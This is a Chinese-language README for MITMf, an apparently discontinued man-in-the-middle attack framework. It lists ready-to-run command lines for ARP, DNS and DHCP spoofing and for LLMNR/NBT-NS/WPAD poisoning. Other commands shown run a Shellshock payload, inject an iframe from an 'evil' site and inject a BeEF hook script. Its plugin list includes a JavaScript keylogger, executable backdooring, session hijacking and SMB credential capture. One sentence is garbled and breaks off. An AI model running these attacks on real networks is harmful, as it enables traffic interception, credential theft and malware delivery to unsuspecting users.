中间人攻击框架
该项目不再更新。 MITMf 的编写是为了满足当时对执行中间人攻击的现代工具的需求。从那时起,已经创建了许多其他工具来填补这个空间,您可能应该使用 Bettercap,因为它的功能更加完整并且维护得更好。
快速教程、示例和开发人员更新:https://byt3bl33d3r.github.io
该工具基于 sergio-proxy,是对项目的复兴和更新的尝试。
联系我:
推特:@byt3bl33d3r
Freenode 上的 IRC:#MITMf
电子邮件:[email protected]
在提交问题之前,请阅读 wiki 中的相关部分。
安装说明请参考wiki
MITMf 旨在为中间人和网络攻击提供一站式服务,同时更新和改进现有的攻击和技术。
它最初是为了解决其他工具(例如 Ettercap、Mallory)的重大缺陷而构建的,现在几乎完全从头开始重写,以提供一个模块化且易于扩展的框架,任何人都可以使用它来实施自己的 MITM 攻击。
该框架包含一个内置的 SMB、HTTP 和 DNS 服务器,可以由各种插件控制和使用,它还包含 SSLStrip 代理的修改版本,允许 HTTP 修改和部分 HSTS 绕过。
从版本 0.9.8 开始,MITMf 支持主动数据包过滤和操作(基本上是 etterfilters 所做的,只是更好),允许用户修改任何类型的流量或协议。
配置文件可以在 MITMf 运行时即时编辑,更改将通过框架传递:这允许您在执行攻击时调整插件和服务器的设置。
MITMf 将使用 Net-Creds(运行于启动。
响应程序集成允许 LLMNR、NBT-NS 和 MDNS 中毒以及 WPAD 流氓服务器支持。
您现在可以使用 Scapy 修改任何被 MITMf 拦截的数据包/协议! (不再有错误过滤器!耶!)
例如,这是一个愚蠢的小过滤器,它只更改 ICMP 数据包的目标 IP 地址:
if packet.haslayer(ICMP): log.info('收到一个 ICMP 数据包!') packet.dst = '192.168.1.0'
使用packet
变量以 Scapy 兼容格式访问数据包
使用data
变量访问原始数据包数据
现在要使用过滤器,我们需要做的是: python mitmf.py -F ~/filter.py
您可能希望将其与Spoof插件结合起来,以实际拦截来自其他人的数据包;)
注意:您可以即时修改过滤器,而无需重新启动 MITMf!
最基本的用法是在接口 enp3s0 上启动 HTTP 代理 SMB、DNS、HTTP 服务器和 Net-Creds:
python mitmf.py -i enp3s0
使用Spoof插件,ARP 毒害网关为 192.168.1.1 的整个子网:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
与上面相同 + 使用Responder插件的 WPAD 流氓代理服务器:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
ARP 中毒 192.168.1.16-45 和 192.168.0.1/24,网关位于 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
在 ARP 中毒时启用 DNS 欺骗(要欺骗的域是从配置文件中提取的):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
启用 LLMNR/NBTNS/MDNS 欺骗:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
启用 DHCP 欺骗(从配置文件中提取 IP 池和子网):
python mitmf.py -i enp3s0 --spoof --dhcp
与上面的 ShellShock 有效负载相同,如果任何客户端易受攻击,该有效负载将被执行:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
使用Inject插件注入 HTML IFrame:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
注入JS脚本:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
启动一个强制门户,将所有内容重定向到 http://SERVER/PATH:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
使用 config/captive 文件夹中的默认页面 /portal.html(感谢响应者)和 /CaptiveClient.exe(不包括)在 http://your-ip/portal.html 启动强制门户:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
与上面相同,但使用主机名 captive.portal 而不是 IP(需要 captive.portal 解析为您的 IP,例如通过 DNS 欺骗):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
使用额外的 SimpleHTTPServer 实例为强制门户提供服务,该实例为 http://IP:8080 处的 LOCALDIR 提供服务(更改 mitmf.config 中的端口):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
与上面相同,但带有主机名:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
还有更多!
当然,您可以将几乎任何插件混合搭配在一起(例如 ARP 欺骗 + 注入 + Responder 等..)
有关可用选项的完整列表,只需运行python mitmf.py --help
HTA Drive-By :注入虚假更新通知并提示客户端下载 HTA 应用程序
SMBTrap :利用连接客户端上的“SMB Trap”漏洞
ScreenShotter :使用 HTML5 Canvas 渲染客户端浏览器的准确屏幕截图
响应者:LLMNR、NBT-NS、WPAD 和 MDNS 中毒者
SSLstrip+ :部分绕过 HSTS
欺骗:使用 ARP、ICMP、DHCP 或 DNS 欺骗重定向流量
BeEFAutorun :根据客户端操作系统或浏览器类型自动运行 BeEF 模块
AppCachePoison :执行 HTML5 应用程序缓存中毒攻击
Ferret-NG :透明地劫持客户端会话
BrowserProfiler :尝试枚举已连接客户端的所有浏览器插件
FilePwn :使用 Backdoor Factory 和 BDFProxy 通过 HTTP 发送的后门可执行文件
Inject :将任意内容注入到 HTML 内容中
BrowserSniper :使用过时的浏览器插件对客户端进行偷渡式攻击
JSkeylogger :将 Javascript 键盘记录器注入客户端的网页
Replace : 替换HTML内容中的任意内容
SMBAuth :引发 SMB 质询-响应身份验证尝试
Upsidedowninternet :将图像翻转 180 度
Captive :创建一个强制门户,使用 302 重定向 HTTP 请求
比特币:1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
以太币:0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC:LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr